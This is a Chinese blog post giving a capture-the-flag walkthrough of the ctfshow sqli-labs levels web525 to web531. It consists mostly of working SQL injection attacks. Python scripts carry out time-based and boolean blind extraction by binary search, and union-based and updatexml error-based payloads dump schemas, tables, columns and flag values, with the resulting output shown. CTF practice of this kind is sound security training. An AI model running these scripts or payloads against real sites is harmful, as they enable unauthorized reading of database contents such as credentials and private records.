ctfshow web入门 sqli-libs web525--web531

最新推荐文章于 2024-09-05 17:22:26 发布

baozongwi

最新推荐文章于 2024-09-05 17:22:26 发布

阅读量254

点赞数 1

分类专栏： ctfshow 文章标签：经验分享 web安全 mysql

本文链接：https://blog.csdn.net/2301_81040377/article/details/140048477

版权

ctfshow 专栏收录该内容

49 篇文章 0 订阅

订阅专栏

web525

import requests

flag=""
i=0
while True:
    i += 1
    low = 32
    high =127

    while low < high:
        mid = (low+high)//2


        #url=f"http://376bec44-3484-4842-81f7-6248706c0ded.challenge.ctf.show/?id=1' and if((ascii(substr((database()),{i},1))>{mid}),sleep(0.4),0) --+"
        #security
        #url = f"http://376bec44-3484-4842-81f7-6248706c0ded.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid}),sleep(0.4),0) --+"
        #ctfshow, ctftrainiqg / inhormatiqq_scnema, mysql, uerfortanch_scjema2security, tfst
        #url = f"https://9b07e3d2-53e3-440b-95e2-9e83c07520e3.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid}),sleep(0.4),0) --+"
        # fnagug8
        #url = f"https://9b07e3d2-53e3-440b-95e2-9e83c07520e3.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagug'),{i},1))>{mid}),sleep(0.4),0) --+"
        #id,flag4a23
        url = f"https://9b07e3d2-53e3-440b-95e2-9e83c07520e3.challenge.ctf.show/?id=1' and if((ascii(substr((select group_concat(id,flag4a23) from ctfshow.flagug),{i},1))>{mid}),sleep(0.4),0) --+"

        r=requests.get(url=url)

        try:
          r=requests.get(url=url,timeout=0.3)
          high =mid
        except:
           low =mid +1
    if low!= 32:
        flag+=chr(low)
    else:
        break
    print(flag)

web526

服了这括号太多了，我眼睛都要看花了，才给写好（为了自己熟练一点非要自己重新写一遍，麻了）

import requests

flag=""
i=0

while True:
    i+=1
    low=32
    high=127

    while low<high:
        mid=(low+high)// 2
        #url = f'https://000df5c9-ac11-43d8-80e9-6300ccdb1d99.challenge.ctf.show/?id=1" and if((ascii(substr((database()),{i},1))>{mid}),sleep(0.4),0) --+'
        #url = f'https://000df5c9-ac11-43d8-80e9-6300ccdb1d99.challenge.ctf.show/?id=1" and if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid}),sleep(0.4),0) --+'
        #url = f'https://000df5c9-ac11-43d8-80e9-6300ccdb1d99.challenge.ctf.show/?id=1" and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid}),sleep(0.4),0) --+'
        #url = f'https://000df5c9-ac11-43d8-80e9-6300ccdb1d99.challenge.ctf.show/?id=1" and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagugs"),{i},1))>{mid}),sleep(0.4),0) --+'
        url = f'https://000df5c9-ac11-43d8-80e9-6300ccdb1d99.challenge.ctf.show/?id=1" and if((ascii(substr((select group_concat(id,flag43s) from ctfshow.flagugs),{i},1))>{mid}),sleep(0.4),0) --+'

        try:
            r=requests.get(url=url,timeout=0.3)
            high=mid
        except:
            low=mid+1

    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

web527

在这里插入图片描述
修改了传参模式了，记得把submit给删了不然报错

passwd=1&uname=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow")--+
flagugsd

passwd=1&uname=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="flagugsd")--+
id,flag43s

思路，随便填的一个联合注入结果说我写错了
打开hackbar一看，然后一直改发现就是报错，于是把submit删了

web528

用")闭合

passwd=123&uname=1") union select 1,2--+

passwd=123&uname=1") union select 1,group_concat(schema_name) from information_schema.schemata--+
ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

passwd=123&uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctfshow"--+
flagugsds

passwd=123&uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name="flagugsds"--+
id,flag43as

web529

报错注入，有些写的是布尔盲注我是不知道怎么测出来的
页面确实没有回显但是也没变化哇

passwd=1&uname=1') or updatexml(1,concat(0x3d,(select schema_name from information_schema.schemata limit 0,1)),3)--+
XPATH syntax error: '=ctfshow'

passwd=1&uname=1') or updatexml(1,concat(0x3d,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1)),3)--+
XPATH syntax error: '=flag'

passwd=1&uname=1') or updatexml(1,concat(0x3d,(select column_name from information_schema.columns where table_name='flag' limit 1,2)),3)--+
XPATH syntax error: '=flag4'

passwd=1&uname=1') or updatexml(1,concat(0x3d,(select flag4 from ctfshow.flag limit 0,1)),3)--+
XPATH syntax error: '=ctfshow{9ab47312-f5c5-41a5-ab73'
只有半边，报错注入的特产
右边应该还有我们截取函数

passwd=1&uname=1') or updatexml(1,concat(0x3d,(select right(flag4,14) from ctfshow.flag limit 0,1)),3)--+
-6219f41c2091}

ctfshow{9ab47312-f5c5-41a5-ab73-6219f41c2091}'

web530

双引号闭合

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select 1,2,3 limit 0,1)),3)--+
Operand should contain 1 column(s)

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select 1 limit 0,1)),3)--+

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select schema_name from information_schema.schemata limit 0,1)),3)--+
XPATH syntax error: '=ctfshow'

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1)),3)--+
PATH syntax error: '=flagb'

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select column_name from information_schema.columns where table_name='flagb' limit 1,2)),3)--+
XPATH syntax error: '=flag4s'

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select flag4s from ctfshow.flagb)),3)--+
XPATH syntax error: '=ctfshow{6b4c18f2-1f33-49b4-bf13'

passwd=123&uname=1" or updatexml(1,concat(0x3d,(select right(flag4s,14) from ctfshow.flagb)),3)--+
XPATH syntax error: '=-dd7ac9040e1e}'

既然看到了盲注
然后你就会发现找不到，反正我是找了半天
必须这么闭合才会触发布尔盲注
在这里插入图片描述

import requests

url = "https://6f79b7f2-69de-437a-9057-548488bcfb0f.challenge.ctf.show/"
flag = ""
i = 0

while True:
    i += 1
    low = 32
    high = 127

    while low < high:
        mid = (low + high) // 2

        # payload = f'if(ascii(substr(select schema_name from information_schema.schemata,{i},1)) > {mid},1,,0)'
        # payload=f'if(ascii(substr((select table_name from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
        # flagb
        # payload=f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="ctfshow" and table_name ="flagb"),{i},1))>{mid},1,0)'
        # id, flag4s
        payload = f'if(ascii(substr((select flag4s from ctfshow.flagb),{i},1))>{mid},1,0)'
        data = {
            'uname': f'admin"and {payload}#',
            'passwd': '1'
        }
        r = requests.post(url=url, data=data)

        if "flag" in r.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        flag += chr(low)
    else:
        break

    print(flag)

web531

在这里插入图片描述
布尔盲注

import requests

url = "https://606c4dd2-1e36-4e59-a23b-e0acabdd763f.challenge.ctf.show/"
flag = ""
i = 0

while True:
    i += 1
    low = 32
    high = 127

    while low < high:
        mid = (low + high) // 2

        payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1)) > {mid},1,0)'
        #payload=f'if(ascii(substr((select table_name from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
        # flagba
        #payload=f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="ctfshow" and table_name ="flagba"),{i},1))>{mid},1,0)'
        # id, flag4sa
        #payload = f'if(ascii(substr((select flag4sa from ctfshow.flagba),{i},1))>{mid},1,0)'
        data = {
            'uname': f"admin'and {payload}#",
            'passwd': '123'
        }
        r = requests.post(url=url, data=data)

        if "flag" in r.text:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

后面发现时间盲注也可以

import requests

url="https://3793f88e-86c7-47d0-865e-dd7cb82afa1f.challenge.ctf.show/"
flag=""
i=0
while True:
    i += 1
    low = 32
    high =127

    while low < high:
        mid = (low+high)//2

        #payload=f"if((ascii(substr((database()),{i},1))>{mid}),sleep(0.4),0)"
        #payload=f"if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid}),sleep(0.4),0)"
        #payload=f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid}),sleep(0.4),0)"
        #payload=f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagba'),{i},1))>{mid}),sleep(0.4),0)"
        payload=f"if((ascii(substr((select group_concat(id,flag4sa) from ctfshow.flagba),{i},1))>{mid}),sleep(0.4),0)"
        data={
            'uname':f"admin'and {payload}#",
            'passwd':'1'
        }


        try:
          r=requests.post(url=url,data=data,timeout=0.3)
          high =mid
        except:
           low =mid +1
    if low!= 32:
        flag+=chr(low)
    else:
        break
    print(flag)

baozongwi

关注

1
点赞
踩
5

收藏

觉得还不错? 一键收藏
0
评论
ctfshow web入门 sqli-libs web525--web531

服了这括号太多了，我眼睛都要看花了，才给写好（为了自己熟练一点非要自己重新写一遍，麻了）修改了传参模式了，记得把submit给删了不然报错。报错注入，有些写的是布尔盲注我是不知道怎么测出来的。思路，随便填的一个联合注入结果说我写错了。然后你就会发现找不到，反正我是找了半天。一看，然后一直改发现就是报错，于是把。页面确实没有回显但是也没变化哇。必须这么闭合才会触发布尔盲注。后面发现时间盲注也可以。
复制链接

扫一扫

专栏目录